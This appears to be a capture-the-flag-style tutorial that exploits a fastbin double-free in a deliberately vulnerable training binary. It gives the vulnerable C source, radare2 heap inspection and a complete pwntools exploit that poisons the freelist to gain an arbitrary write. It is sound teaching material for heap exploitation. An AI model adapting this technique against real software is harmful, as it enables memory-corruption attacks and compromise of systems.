# Double-Free Exploit

Still on Xenial Xerus, means both mentioned checks are still relevant. The bypass for the second check ([malloc() memory corruption](https://ir0nstone.gitbook.io/notes/binexp/heap/double-free-protections#malloc-memory-corruption-fast))  is given to you in the form of **fake metadata** already set to a suitable size. Let's check the (relevant parts of) the source.

{% file src="<https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MNUWnNj7mFSgDfMEdwZ%2F-MNUzb4B2GnYWIBhrcQy%2Fdouble-free.zip?alt=media&token=a371fc4d-4ae0-4209-8f47-933d6a2a2334>" %}
Double-Free
{% endfile %}

## Analysis

### Variables

```c
char fakemetadata[0x10] = "\x30\0\0\0\0\0\0\0"; // so we can ignore the "wrong size" error
char admin[0x10] = "Nuh-huh\0";

// List of users to keep track of
char *users[15];
int userCount = 0;
```

The `fakemetadata` variable is the fake size of `0x30`, so you can focus on the double-free itself rather than the protection bypass. Directly after this is the `admin` variable, meaning if you pull the exploit off into the location of that fake metadata, you can just overwrite that as proof.

`users` is a list of strings for the usernames, and `userCount` keeps track of the length of the array.

### main\_loop()

```c
void main_loop() {
    while(1) {
        printf(">> ");

        char input[2];
        read(0, input, sizeof(input));
        int choice = atoi(input);

        switch (choice)
        {
            case 1:
                createUser();
                break;
            case 2:
                deleteUser();
                break;
            case 3:
                complete_level();
            default:
                break;
        }
    }
}
```

Prompts for input, takes in input. Note that `main()` itself prints out the location of `fakemetadata`, so we don't have to mess around with that at all.

### createUser()

```c
void createUser() {
    char *name = malloc(0x20);
    users[userCount] = name;

    printf("%s", "Name: ");
    read(0, name, 0x20);

    printf("User Index: %d\nName: %s\nLocation: %p\n", userCount, users[userCount], users[userCount]);
    userCount++;
}
```

`createUser()` allocates a chunk of size `0x20` on the heap (real size is `0x30` including metadata, hence the `fakemetadata` being `0x30`) then sets the array entry as a pointer to that chunk. Input then gets written there.

### deleteUser()

```c
void deleteUser() {
    printf("Index: ");

    char input[2];
    read(0, input, sizeof(input));
    int choice = atoi(input);


    char *name = users[choice];
    printf("User %d:\n\tName: %s\n", choice, name, name);

    // Check user actually exists before freeing
    if(choice < 0 || choice >= userCount) {
        puts("Invalid Index!");
        return;
    }
    else {
        free(name);
        puts("User freed!");
    }
}
```

Get index, print out the details and `free()` it. Easy peasy.

### complete\_level()

```c
void complete_level() {
    if(strcmp(admin, "admin\n")) {
        puts("Level Complete!");
        return;
    }
}
```

Checks you overwrote `admin` with `admin`, if you did, mission accomplished!

## Exploitation

There's literally no checks in place so we have a plethora of options available, but this tutorial is about using a double-free, so we'll use that.

### Setup

First let's make a skeleton of a script, along with some helper functions:

```python
from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()


def create(name='a'):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('Name: ', name)

def delete(idx):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('Index: ', str(idx))

def complete():
    p.sendlineafter('>> ', '3')
    print(p.recvline())
```

### Finding the Double-Free

As we know with the `fasttop` protection, we can't allocate once then free twice - we'll have to free once inbetween.

```python
create('yes')
create('yes')
delete(0)
delete(1)
delete(0)
```

Let's check the progression of the fastbin by adding a `pause()` after every `delete()`. We'll hook on with radare2 using

```
r2 -d $(pidof vuln)
```

#### delete(0) #1

Due to its size, the chunk will go into Fastbin 2, which we can check the contents of using `dmhf 2` (`dmhf` analyses fastbins, and we can specify number 2).

![](https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MNUWnNj7mFSgDfMEdwZ%2F-MNV0zsy7Qav6PIBzRis%2Fimage.png?alt=media\&token=5530623d-77b2-46c4-a22b-f107fdeeaff7)

Looks like the first chunk is located at `0xd58000`. Let's keep going.

#### delete(1)

![](https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MNUWnNj7mFSgDfMEdwZ%2F-MNV1S4jFoPsiSL4maXJ%2Fimage.png?alt=media\&token=b9057095-2ad3-452a-9823-d107603ef373)

The next chunk (**Chunk 1**) has been added to the top of the **fastbin**, this chunk being located at `0xd58030`.

#### delete(0) #2

![](https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MNUWnNj7mFSgDfMEdwZ%2F-MNV1pP0ka_BxR8eAxiz%2Fimage.png?alt=media\&token=0a69562f-d536-452c-80d5-8ae2e594a62e)

Boom - we free **Chunk 0** again, adding it to the fastbin *for the second time*. radare2 is nice enough to point out there's a double-free.

### Writing to the Fastbin Freelist

Now we have a double-free, let's allocate **Chunk 0** again and put some random data. Because it's also considered free, the data we write is seen as being in the `fd` pointer of the chunk. Remember, the heap saves space, so `fd` when free is located exactly where data is when allocated (probably explained better [here](https://ir0nstone.gitbook.io/notes/binexp/heap/double-free/..#controlling-fd)).

So let's write to `fd`, and see what happens to the fastbin. Remove all the `pause()` instructions.

```python
create(p64(0x08080808))
pause()
```

Run, debug, and `dmhf 2`.

![](https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MNUWnNj7mFSgDfMEdwZ%2F-MNV3L6WyrG406IXYt-s%2Fimage.png?alt=media\&token=815cf9e3-143b-4429-b1fa-135010ad4827)

The last `free()` gets reused, and our "fake" fastbin location is in the list. Beautiful.

Let's push it to the top of the list by creating two more irrelevant users. We can also parse the `fakemetadata` location at the beginning of the exploit chain.

```python
p.recvuntil('data: ')
fake_metadata = int(p.recvline(), 16) - 8

log.success('Fake Metadata: ' + hex(fake_metadata))

[...]

create('junk1')
create('junk2')
pause()
```

The reason we have to subtract 8 off `fakemetadata` is that the only thing we faked in the souce is the `size` field, but `prev_size` is at the very front of the chunk metadata. If we point the fastbin freelist at the `fakemetadata` variable it'll interpret it as `prev_size` and the 8 bytes afterwards as `size`, so we shift it all back 8 to align it correctly.

![](https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MNV4aJgHJ3xe2xkFu9i%2F-MNV4uyVA1g79wRiOeFn%2Fimage.png?alt=media\&token=39343395-814f-4940-8bab-97cf1f3dda1f)

Now we can control where we write, and we know where to write to.

### Getting the Arbitrary Write

First, let's replace the location we write to with where we want to:

```python
create(p64(fake_metadata))
```

Now let's finish it off by creating another user. Since we control the fastbin, this user gets written to the location of our fake metadata, giving us an almost arbitrary write.

```python
create('\x00' * 8 + 'admin\x00')
complete()
```

{% hint style="info" %}
The 8 null bytes are padding. If you read the source, you notice the metadata string is 16 bytes long rather than 8, so we need 8 more padding.
{% endhint %}

```
$ python3 exploit.py
[+] Starting local process 'vuln': pid 8296
[+] Fake Metadata: 0x602088
b'Level Complete!\n'
```

Awesome - we completed the level!

## Final Exploit

```python
from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()


def create(name='a'):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('Name: ', name)

def delete(idx):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('Index: ', str(idx))

def complete():
    p.sendlineafter('>> ', '3')
    print(p.recvline())

p.recvuntil('data: ')
fake_metadata = int(p.recvline(), 16) - 8

log.success('Fake Metadata: ' + hex(fake_metadata))

create('yes')
create('yes')
delete(0)
delete(1)
delete(0)

create(p64(fake_metadata))
create('junk1')
create('junk2')

create('\x00' * 8 + 'admin\x00')
complete()
```

## 32-bit

Mixing it up a bit - you can try the *32-bit* version yourself. Same principle, offsets a bit different and stuff. I'll upload the binary when I can, but just compile it as 32-bit and try it yourself :)
